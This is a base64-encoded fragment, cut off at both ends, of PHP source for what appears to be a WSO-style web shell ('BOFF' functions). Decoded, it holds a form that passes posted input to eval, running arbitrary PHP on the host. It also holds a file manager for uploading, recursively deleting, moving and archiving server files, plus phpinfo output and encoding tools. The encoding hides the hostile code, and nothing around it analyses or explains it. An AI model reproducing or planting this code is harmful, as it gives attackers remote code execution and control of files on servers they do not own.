TsNCgkJZXZhbCgkX1BPU1RbJ3AxJ10pOw0KCQkkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0JykuaW5uZXJIVE1MPSciIC4gYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksICJcblxyXHRcXCdcMCIpIC4gIic7XG4iOw0KCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOw0KCQlleGl0OyANCgl9DQoJQk9GRkhlYWRlcigpOw0KCWlmKGlzc2V0KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDInXSA9PSAnaW5mbycpKSB7DQoJCWVjaG8gJzxoMT5QSFAgaW5mbzwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzdHlsZT4ucCB7Y29sb3I6IzAwMDt9PC9zdHlsZT4nOw0KCQlvYl9zdGFydCgpOw0KCQlwaHBpbmZvKCk7DQoJCSR0bXAgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLCcnLCR0bXApOw0KCQkkdG1wID0gcHJlZ19yZXBsYWNlKCchdGQsIHRoIHsoLiopfSFtc2lVJywnLmUsIC52LCAuaCwgLmggdGggeyQxfScsJHRtcCk7DQoJCWVjaG8gc3RyX3JlcGxhY2UoJzxoMScsJzxoMicsICR0bXApIC4nPC9kaXY+PGJyPic7DQoJfQ0KCWlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSAmJiAhZW1wdHkoJF9QT1NUWydwMSddKSkNCgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSA9IGZhbHNlOw0KICAgIGVjaG8gJzxoMT5FeGVjdXRpb24gUEhQLWNvZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPXBmIG1ldGhvZD1wb3N0IG9uc3VibWl0PSJpZih0aGlzLmFqYXguY2hlY2tlZCl7YShcJ1BocFwnLG51bGwsdGhpcy5jb2RlLnZhbHVlKTt9ZWxzZXtnKFwnUGhwXCcsbnVsbCx0aGlzLmNvZGUudmFsdWUsXCdcJyk7fXJldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPWNvZGUgY2xhc3M9YmlnYXJlYSBpZD1QaHBDb2RlPicuKCFlbXB0eSgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUV2YWwgc3R5bGU9Im1hcmdpbi10b3A6NXB4Ij4nOw0KCWVjaG8gJyA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLigkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWDwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4nOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCW9iX3N0YXJ0KCk7DQoJCWV2YWwoJF9QT1NUWydwMSddKTsNCgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsNCgl9DQoJZWNobyAnPC9wcmU+PC9kaXY+JzsNCglCT0ZGRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkZpbGVzTWFuKCkgew0KCUJPRkZIZWFkZXIoKTsNCgllY2hvICc8aDE+RmlsZSBtYW5hZ2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNjcmlwdD5wMV89cDJfPXAzXz0iIjs8L3NjcmlwdD4nOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCXN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsNCgkJCWNhc2UgJ3VwbG9hZEZpbGUnOg0KCQkJCWlmKCFAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZiddWyduYW1lJ10pKQ0KCQkJCQllY2hvICJDYW4ndCB1cGxvYWQgZmlsZSEiOw0KCQkJCWJyZWFrOw0KCQkJY2FzZSAnbWtkaXInOg0KCQkJCWlmKCFAbWtkaXIoJF9QT1NUWydwMiddKSkNCgkJCQkJZWNobyAiQ2FuJ3QgY3JlYXRlIG5ldyBkaXIiOw0KCQkJCWJyZWFrOw0KCQkJY2FzZSAnZGVsZXRlJzoNCgkJCQlmdW5jdGlvbiBkZWxldGVEaXIoJHBhdGgpIHsNCgkJCQkJJHBhdGggPSAoc3Vic3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRwYXRoLicvJzsNCgkJCQkJJGRoICA9IG9wZW5kaXIoJHBhdGgpOw0KCQkJCQl3aGlsZSAoICgkaXRlbSA9IHJlYWRkaXIoJGRoKSApICE9PSBmYWxzZSkgew0KCQkJCQkJJGl0ZW0gPSAkcGF0aC4kaXRlbTsNCgkJCQkJCWlmICggKGJhc2VuYW1lKCRpdGVtKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuIikgKQ0KCQkJCQkJCWNvbnRpbnVlOw0KCQkJCQkJJHR5cGUgPSBmaWxldHlwZSgkaXRlbSk7DQoJCQkJCQlpZiAoJHR5cGUgPT0gImRpciIpDQoJCQkJCQkJZGVsZXRlRGlyKCRpdGVtKTsNCgkJCQkJCWVsc2UNCgkJCQkJCQlAdW5saW5rKCRpdGVtKTsNCgkJCQkJfQ0KCQkJCQljbG9zZWRpcigkZGgpOw0KCQkJCQlAcm1kaXIoJHBhdGgpOw0KCQkJCX0NCgkJCQlpZihpc19hcnJheShAJF9QT1NUWydmJ10pKQ0KCQkJCQlmb3JlYWNoKCRfUE9TVFsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KCQkJCQkJJGYgPSB1cmxkZWNvZGUoJGYpOw0KCQkJCQkJaWYoaXNfZGlyKCRmKSkNCgkJCQkJCQlkZWxldGVEaXIoJGYpOw0KCQkJCQkJZWxzZQ0KCQkJCQkJCUB1bmxpbmsoJGYpOw0KCQkJCQl9DQoJCQkJYnJlYWs7DQoJCQljYXNlICdwYXN0ZSc6DQoJCQkJaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnY29weScpIHsNCgkJCQkJZnVuY3Rpb24gY29weV9wYXN0ZSgkYywkcywkZCl7DQoJCQkJCQlpZihpc19kaXIoJGMuJHMpKXsNCgkJCQkJCQlta2RpcigkZC4kcyk7DQoJCQkJCQkJJGggPSBAb3BlbmRpcigkYy4kcyk7DQoJCQkJCQkJd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KCQkJCQkJCQlpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KCQkJCQkJfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpDQoJCQkJCQkJQGNvcHkoJGMuJHMsICRkLiRzKTsNCgkJCQkJfQ0KCQkJCQlmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKQ0KCQkJCQkJY29weV9wYXN0ZSgkX1NFU1NJT05bJ2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsJCQkJCQ0KCQkJCX0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ21vdmUnKSB7DQoJCQkJCWZ1bmN0aW9uIG1vdmVfcGFzdGUoJGMsJHMsJGQpew0KCQkJCQkJaWYoaXNfZGlyKCRjLiRzKSl7DQoJCQkJCQkJbWtkaXIoJGQuJHMpOw0KCQkJCQkJCSRoID0gQG9wZW5kaXIoJGMuJHMpOw0KCQkJCQkJCXdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCgkJCQkJCQkJaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpDQoJCQkJCQkJCQljb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCgkJCQkJCX0gZWxzZWlmKEBpc19maWxlKCRjLiRzKSkNCgkJCQkJCQlAY29weSgkYy4kcywgJGQuJHMpOw0KCQkJCQl9DQoJCQkJCWZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpDQoJCQkJCQlAcmVuYW1lKCRfU0VTU0lPTlsnYyddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOw0KCQkJCX0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3ppcCcpIHsNCgkJCQkJaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR6aXAtPm9wZW4oJF9QT1NUWydwMiddLCAxKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfU0VTU0lPTlsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQGlzX2ZpbGUoJF9TRVNTSU9OWydjJ10uJGYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+YWRkRmlsZSgkX1NFU1NJT05bJ2MnXS4kZiwgJGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoQGlzX2RpcigkX1NFU1NJT05bJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZi4nLycpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVyYXRvciBhcyAka2V5PT4kdmFsdWUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKHJlYWxwYXRoKCRrZXkpLCAka2V5KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCgkJCQl9IGVsc2VpZigkX1NFU1NJT05bJ2FjdCddID09ICd1bnppcCcpIHsNCgkJCQkJaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR6aXAtPm9wZW4oJF9TRVNTSU9OWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmV4dHJhY3RUbygkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCX0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3RhcicpIHsNCiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9TRVNTSU9OWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IGFycmF5X21hcCgnZXNjYXBlc2hlbGxhcmcnLCAkX1NFU1NJT05bJ2YnXSk7DQogICAgICAgICAgICAgICAgICAgIEJPRkZFeCgndGFyIGNmenYgJyAuIGVzY2FwZXNoZWxsYXJnKCRfUE9TVFsncDInXSkgLiAnICcgLiBpbXBsb2RlKCcgJywgJF9TRVNTSU9OWydmJ10pKTsNCiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsNCgkJCQl9DQoJCQkJdW5zZXQoJF9TRVNTSU9OWydmJ10pOw0KCQkJCWJyZWFrOw0KCQkJZGVmYXVsdDoNCiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgew0KCQkJCQkkX1NFU1NJT05bJ2FjdCddID0gQCRfUE9TVFsncDEnXTsNCgkJCQkJJF9TRVNTSU9OWydmJ10gPSBAJF9QT1NUWydmJ107DQoJCQkJCWZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGsgPT4gJGYpDQoJCQkJCQkkX1NFU1NJT05bJ2YnXVska10gPSB1cmxkZWNvZGUoJGYpOw0KCQkJCQkkX1NFU1NJT05bJ2MnXSA9IEAkX1BPU1RbJ2MnXTsNCgkJCQl9DQoJCQkJYnJlYWs7DQoJCX0NCgl9DQoJJGRpckNvbnRlbnQgPSBAc2NhbmRpcihpc3NldCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsNCglpZigkZGlyQ29udGVudCA9PT0gZmFsc2UpIHsJZWNobyAnQ2FuXCd0IG9wZW4gdGhpcyBmb2xkZXIhJztCT0ZGRm9vdGVyKCk7IHJldHVybjsgfQ0KCWdsb2JhbCAkc29ydDsNCgkkc29ydCA9IGFycmF5KCduYW1lJywgMSk7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJaWYocHJlZ19tYXRjaCgnIXNfKFtBLXpdKylfKFxkezF9KSEnLCAkX1BPU1RbJ3AxJ10sICRtYXRjaCkpDQoJCQkkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOw0KCX0NCmVjaG8gIjxzY3JpcHQ+DQoJZnVuY3Rpb24gc2EoKSB7DQoJCWZvcihpPTA7aTxkLmZpbGVzLmVsZW1lbnRzLmxlbmd0aDtpKyspDQoJCQlpZihkLmZpbGVzLmVsZW1lbnRzW2ldLnR5cGUgPT0gJ2NoZWNrYm94JykNCgkJCQlkLmZpbGVzLmVsZW1lbnRzW2ldLmNoZWNrZWQgPSBkLmZpbGVzLmVsZW1lbnRzWzBdLmNoZWNrZWQ7DQoJfQ0KPC9zY3JpcHQ+DQo8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPg0KPGZvcm0gbmFtZT1maWxlcyBtZXRob2Q9cG9zdD48dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2JveCBvbmNsaWNrPSdzYSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19uYW1lXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEpLiJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsNCgkkZGlycyA9ICRmaWxlcyA9IGFycmF5KCk7DQoJJG4gPSBjb3VudCgkZGlyQ29udGVudCk7DQoJZm9yKCRpPTA7JGk8JG47JGkrKykgew0KCQkkb3cgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pKTsNCgkJJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7DQoJCSR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLA0KCQkJCQkgJ3BhdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0sDQoJCQkJCSAnbW9kaWZ5JyA9PiBkYXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSksDQoJCQkJCSAncGVybXMnID0+IEJPRkZQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSksDQoJCQkJCSAnc2l6ZScgPT4gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLA0KCQkJCQkgJ293bmVyJyA9PiAkb3dbJ25hbWUnXT8kb3dbJ25hbWUnXTpAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSksDQoJCQkJCSAnZ3JvdXAnID0+ICRnclsnbmFtZSddPyRnclsnbmFtZSddOkBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKQ0KCQkJCQkpOw0KCQlpZihAaXNfZmlsZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKQ0KCQkJJGZpbGVzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2ZpbGUnKSk7DQoJCWVsc2VpZihAaXNfbGluaygkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKQ0KCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycsICdsaW5rJyA9PiByZWFkbGluaygkdG1wWydwYXRoJ10pKSk7DQoJCWVsc2VpZihAaXNfZGlyKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkmJiAoJGRpckNvbnRlbnRbJGldICE9ICIuIikpDQoJCQkkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7DQoJfQ0KCSRHTE9CQUxTWydzb3J0J10gPSAkc29ydDsNCglmdW5jdGlvbiBCT0ZGQ21wKCRhLCAkYikgew0KCQlpZigkR0xPQkFMU1snc29ydCddWzBdICE9ICdzaXplJykNCgkJCXJldHVybiBzdHJjbXAoc3RydG9sb3dlcigkYVskR0xPQkFMU1snc29ydCddWzBdXSksIHN0cnRvbG93ZXIoJGJbJEdMT0JBTFNbJ3NvcnQnXVswXV0pKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsNCgkJZWxzZQ0KCQkJcmV0dXJuICgoJGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLTEgOiAxKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsNCgl9DQoJdXNvcnQoJGZpbGVzLCAiQk9GRkNtcCIpOw0KCXVzb3J0KCRkaXJzLCAiQk9GRkNtcCIpOw0KCSRmaWxlcyA9IGFycmF5X21lcmdlKCRkaXJzLCAkZmlsZXMpOw0KCSRsID0gMDsNCglmb3JlYWNoKCRmaWxlcyBhcyAkZikgew0KCQllY2hvICc8dHInLigkbD8nIGNsYXNzPWwxJzonJykuJz48dGQ+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT0iZltdIiB2YWx1ZT0iJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJyIgY2xhc3M9Y2hrYng+PC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9IicuKCgkZlsndHlwZSddPT0nZmlsZScpPydnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndmlld1wnKSI+Jy5odG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pOidnKFwnRmlsZXNNYW5cJyxcJycuJGZbJ3BhdGgnXS4nXCcpOyIgdGl0bGU9JyAuICRmWydsaW5rJ10gLiAnPjxiPlsgJyAuIGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSkgLiAnIF08L2I+JykuJzwvYT48L3RkPjx0ZD4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT9CT0ZGVmlld1NpemUoJGZbJ3NpemUnXSk6JGZbJ3R5cGUnXSkuJzwvdGQ+PHRkPicuJGZbJ21vZGlmeSddLic8L3RkPjx0ZD4nLiRmWydvd25lciddLicvJy4kZlsnZ3JvdXAnXS4nPC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJyxcJ2NobW9kXCcpIj4nLiRmWydwZXJtcyddDQoJCQkuJzwvdGQ+PHRkPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdyZW5hbWVcJykiPlI8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd0b3VjaFwnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdlZGl0XCcpIj5FPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZG93bmxvYWRcJykiPkQ8L2E+JzonJykuJzwvdGQ+PC90cj4nOw0KCQkkbCA9ICRsPzA6MTsNCgl9DQoJZWNobyAiPHRyPjx0ZCBjb2xzcGFuPTc+DQoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPg0KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPg0KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiInPg0KCTxzZWxlY3QgbmFtZT0ncDEnPjxvcHRpb24gdmFsdWU9J2NvcHknPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdtb3ZlJz5Nb3ZlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nZGVsZXRlJz5EZWxldGU8L29wdGlvbj4iOw0KICAgIGlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKQ0KICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSd6aXAnPkNvbXByZXNzICh6aXApPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ndW56aXAnPlVuY29tcHJlc3MgKHppcCk8L29wdGlvbj4iOw0KICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3Rhcic+Q29tcHJlc3MgKHRhci5neik8L29wdGlvbj4iOw0KICAgIGlmKCFlbXB0eSgkX1NFU1NJT05bJ2FjdCddKSAmJiBAY291bnQoJF9TRVNTSU9OWydmJ10pKQ0KICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSdwYXN0ZSc+UGFzdGUgLyBDb21wcmVzczwvb3B0aW9uPiI7DQogICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7IjsNCiAgICBpZighZW1wdHkoJF9TRVNTSU9OWydhY3QnXSkgJiYgQGNvdW50KCRfU0VTU0lPTlsnZiddKSAmJiAoKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3ppcCcpIHx8ICgkX1NFU1NJT05bJ2FjdCddID09ICd0YXInKSkpDQogICAgICAgIGVjaG8gImZpbGUgbmFtZTogPGlucHV0IHR5cGU9dGV4dCBuYW1lPXAyIHZhbHVlPSdCT0ZGXyIgLiBkYXRlKCJZbWRfSGlzIikgLiAiLiIgLiAoJF9TRVNTSU9OWydhY3QnXSA9PSAnemlwJz8nemlwJzondGFyLmd6JykgLiAiJz4mbmJzcDsiOw0KICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvZGl2PiI7DQoJQk9GRkZvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25TdHJpbmdUb29scygpIHsNCglpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHtmdW5jdGlvbiBoZXgyYmluKCRwKSB7cmV0dXJuIGRlY2JpbihoZXhkZWMoJHApKTt9fQ0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2JpbmhleCcpKSB7ZnVuY3Rpb24gYmluaGV4KCRwKSB7cmV0dXJuIGRlY2hleChiaW5kZWMoJHApKTt9fQ0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJhc2NpaScpKSB7ZnVuY3Rpb24gaGV4MmFzY2lpKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJMZW4oJHApOyRpKz0yKXskci49Y2hyKGhleGRlYygkcFskaV0uJHBbJGkrMV0pKTt9cmV0dXJuICRyO319DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnYXNjaWkyaGV4JykpIHtmdW5jdGlvbiBhc2NpaTJoZXgoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49IHNwcmludGYoJyUwMlgnLG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0NCglpZighZnVuY3Rpb25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7ZnVuY3Rpb24gZnVsbF91cmxlbmNvZGUoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49ICclJy5kZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQ0KCSRzdHJpbmdUb29scyA9IGFycmF5KA0KCQknQmFzZTY0IGVuY29kZScgPT4gJ2Jhc2U2NF9lbmNvZGUnLA0KCQknQmFzZTY0IGRlY29kZScgPT4gJ2Jhc2U2NF9kZWNvZGUnLA0KCQknVXJsIGVuY29kZScgPT4gJ3VybGVuY29kZScsDQoJCSdVcmwgZGVjb2RlJyA9PiAndXJsZGVjb2RlJywNCgkJJ0Z1bGwgdXJsZW5jb2RlJyA9PiAnZnVsbF91cmxlbmNvZGUnLA0KCQknbWQ1IGhhc2gnID0+ICdtZDUnLA0KCQknc2hhMSBoYXNoJyA9PiAnc2hhMScsDQoJCSdjcnlwdCcgPT4gJ2NyeXB0JywNCgkJJ0NSQzMyJyA9PiAnY3JjMzInLA0KCQknQVNDSUkgdG8gSEVYJyA9PiAnYXNjaWkyaGV4JywNCgkJJ0hFWCB0byBBU0NJSScgPT4gJ2hleDJhc2NpaScsDQoJCSdIRVggdG8gREVDJyA9PiAnaGV4ZGVjJywNCgkJJ0hFWCB0byBCSU4nID0+ICdoZXgyYmluJywNCgkJJ0RFQyB0byBIRVgnID0+ICdkZWNoZXgnLA0KCQknREVDIHRvIEJJTicgPT4gJ2RlY2JpbicsDQoJCSdCSU4gdG8gSEVYJyA9PiAnYmluaGV4JywNCgkJJ0JJTiB0byBERUMnID0+ICdiaW5kZWMnLA0KCQknU3RyaW5n